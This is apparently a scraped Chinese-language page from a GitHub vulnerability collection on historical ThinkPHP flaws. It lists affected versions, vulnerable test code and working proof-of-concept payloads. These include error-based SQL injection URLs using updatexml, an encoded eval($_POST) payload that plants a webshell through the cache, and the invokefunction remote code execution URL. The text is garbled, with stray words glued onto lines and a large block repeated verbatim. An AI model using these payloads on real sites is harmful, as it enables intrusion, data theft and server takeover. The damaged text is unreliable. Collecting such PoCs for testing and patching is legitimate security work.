https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 歷史漏洞php
路由控制類RCE
/think/App.phphtml
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
變量覆蓋RCE
/think/Request.phpgit
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) { $this->method = $method; $this->{$this->method}($_POST);
SQL:
1.
漏洞影響版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。github
$username = request()->get('username/a'); db('users')->insert(['username' => $username]);
2.
5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。sql
$username = request()->get('username/a'); db('users')->where(['id' => 1])->update(['username' => $username]); return 'Update success';
3.
ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)。ThinkPHP5全版本 。thinkphp
$username = request()->get('username'); $result = db('users')->where('username','exp',$username)->select(); return 'select success
';shell
4.。漏洞影響版本: ThinkPHP=5.0.10 。緩存
漏洞環境php框架
$username = request()->get('username/a'); $result = db('users')->where(['username' => $username])->select(); var_dump($result);
5.app
漏洞影響版本: 5.1.16<=ThinkPHP5<=5.1.22 。
$orderby = request()->get('orderby'); $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
6.
漏洞影響版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
$options = request()->get('options'); $result = db('users')->max($options); var_dump($result);
文件包含
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。
public function index() { $this->assign(request()->get()); return $this->fetch();
使用方法
cd /var/www/tp3
標題 | ThinkPHP5.0.10-3.2.3緩存函數設計缺陷可致使Getshell |
---|---|
時間 | 2017-08-09 |
版本 | <= 3.2.3 |
文章連接 | https://xz.aliyun.com/t/99 |
標題 | Thinkphp3.2.3最新版update注入漏洞 |
---|---|
時間 | 2018-04-16 |
版本 | <= 3.2.3 |
文章連接 | https://www.anquanke.com/post/id/104847 |
標題 | thinkphp3.2 find_select_delete注入 |
---|---|
時間 | 2018-08-23 |
版本 | <= 3.2.3 |
文章連接 | https://xz.aliyun.com/t/2631 https://xz.aliyun.com/t/2629 |
標題 | ThinkPHP 3.X/5.X order by注入漏洞 |
---|---|
時間 | 2018-08-29 |
版本 | <= 3.2.3 |
文章連接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
使用方法
cd /var/www/tp5
標題 | ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 |
---|---|
時間 | 2017-07-03 |
版本 | < 5.0.9 |
文章連接 | https://xz.aliyun.com/t/125 https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html |
測試方法
git checkout 02f8e8a測試代碼
public function testsql() { $ids = input('ids/a'); $result = db('user')->where('id', 'in', $ids)->select(); var_dump($result); }POC
testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
結果
標題 | ThinkPHP5.0.10-3.2.3 緩存函數設計缺陷可致使Getshell |
---|---|
時間 | 2017-08-09 |
版本 | < 5.0.11 |
文章連接 | https://xz.aliyun.com/t/99 |
測試方法
git checkout 094dde5測試代碼
public function add() { $user = input('post.'); $m=db('user')->where(['id'=> 1])->insert($user); } public function cache() { $m = db('user')->select(); Cache::set('name',$m,3600); }POC
post data: username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23 注:%2F%2F%0D%0A = //+回車結果
其中文件路徑和名稱是 b0+68931cc450442b63f5b3d276ea4297 而
md5('name') = b068931cc450442b63f5b3d276ea4297
標題 | ThinkPHP框架 5.0.x sql注入漏洞分析 |
---|---|
時間 | 2018-04-09 |
版本 | < 5.0.16 |
文章連接 | https://xz.aliyun.com/t/2257 |
測試方法
git checkout 7c13757測試代碼
public function testsql() { $username = input('get.username/a'); db('user')->where(['id'=> 1])->insert(['username'=>$username]); }POC
testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
結果
標題 | ThinkPHP 3.X/5.X order by注入漏洞 |
---|---|
時間 | 2018-08-23 |
版本 | <= 5.1.22 |
文章連接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
測試方法
git checkout 35e9878測試代碼
public function testsql() { $order = input('get.order'); $m = db('user')->order($order)->find(); var_dump($m); }POC
testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
結果
標題 | ThinkPHP5.X 遠程代碼執行 |
---|---|
時間 | 2018-12-10 |
版本 | 5.0.5-5.0.22 5.1.0-5.1.30 |
文章連接 | https://xz.aliyun.com/t/3570 https://paper.seebug.org/760/ https://paper.seebug.org/770 |
測試方法
git checkout 4fefa5e測試代碼
public function index() { //...無需實際代碼 }POC
index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
結果
使用方法
cd /var/www/tp3
標題 | ThinkPHP5.0.10-3.2.3緩存函數設計缺陷可致使Getshell |
---|---|
時間 | 2017-08-09 |
版本 | <= 3.2.3 |
文章連接 | https://xz.aliyun.com/t/99 |
標題 | Thinkphp3.2.3最新版update注入漏洞 |
---|---|
時間 | 2018-04-16 |
版本 | <= 3.2.3 |
文章連接 | https://www.anquanke.com/post/id/104847 |
標題 | thinkphp3.2 find_select_delete注入 |
---|---|
時間 | 2018-08-23 |
版本 | <= 3.2.3 |
文章連接 | https://xz.aliyun.com/t/2631 https://xz.aliyun.com/t/2629 |
標題 | ThinkPHP 3.X/5.X order by注入漏洞 |
---|---|
時間 | 2018-08-29 |
版本 | <= 3.2.3 |
文章連接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
使用方法
cd /var/www/tp5
標題 | ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 |
---|---|
時間 | 2017-07-03 |
版本 | < 5.0.9 |
文章連接 | https://xz.aliyun.com/t/125 https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html |
測試方法
git checkout 02f8e8a測試代碼
public function testsql() { $ids = input('ids/a'); $result = db('user')->where('id', 'in', $ids)->select(); var_dump($result); }POC
testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
結果
標題 | ThinkPHP5.0.10-3.2.3 緩存函數設計缺陷可致使Getshell |
---|---|
時間 | 2017-08-09 |
版本 | < 5.0.11 |
文章連接 | https://xz.aliyun.com/t/99 |
測試方法
git checkout 094dde5測試代碼
public function add() { $user = input('post.'); $m=db('user')->where(['id'=> 1])->insert($user); } public function cache() { $m = db('user')->select(); Cache::set('name',$m,3600); }POC
post data: username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23 注:%2F%2F%0D%0A = //+回車結果
其中文件路徑和名稱是 b0+68931cc450442b63f5b3d276ea4297 而
md5('name') = b068931cc450442b63f5b3d276ea4297
標題 | ThinkPHP框架 5.0.x sql注入漏洞分析 |
---|---|
時間 | 2018-04-09 |
版本 | < 5.0.16 |
文章連接 | https://xz.aliyun.com/t/2257 |
測試方法
git checkout 7c13757測試代碼
public function testsql() { $username = input('get.username/a'); db('user')->where(['id'=> 1])->insert(['username'=>$username]); }POC
testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
結果
標題 | ThinkPHP 3.X/5.X order by注入漏洞 |
---|---|
時間 | 2018-08-23 |
版本 | <= 5.1.22 |
文章連接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
測試方法
git checkout 35e9878測試代碼
public function testsql() { $order = input('get.order'); $m = db('user')->order($order)->find(); var_dump($m); }POC
testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
結果
標題 | ThinkPHP5.X 遠程代碼執行 |
---|---|
時間 | 2018-12-10 |
版本 | 5.0.5-5.0.22 5.1.0-5.1.30 |
文章連接 | https://xz.aliyun.com/t/3570 https://paper.seebug.org/760/ https://paper.seebug.org/770 |
測試方法
git checkout 4fefa5e測試代碼
public function index() { //...無需實際代碼 }POC
index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
結果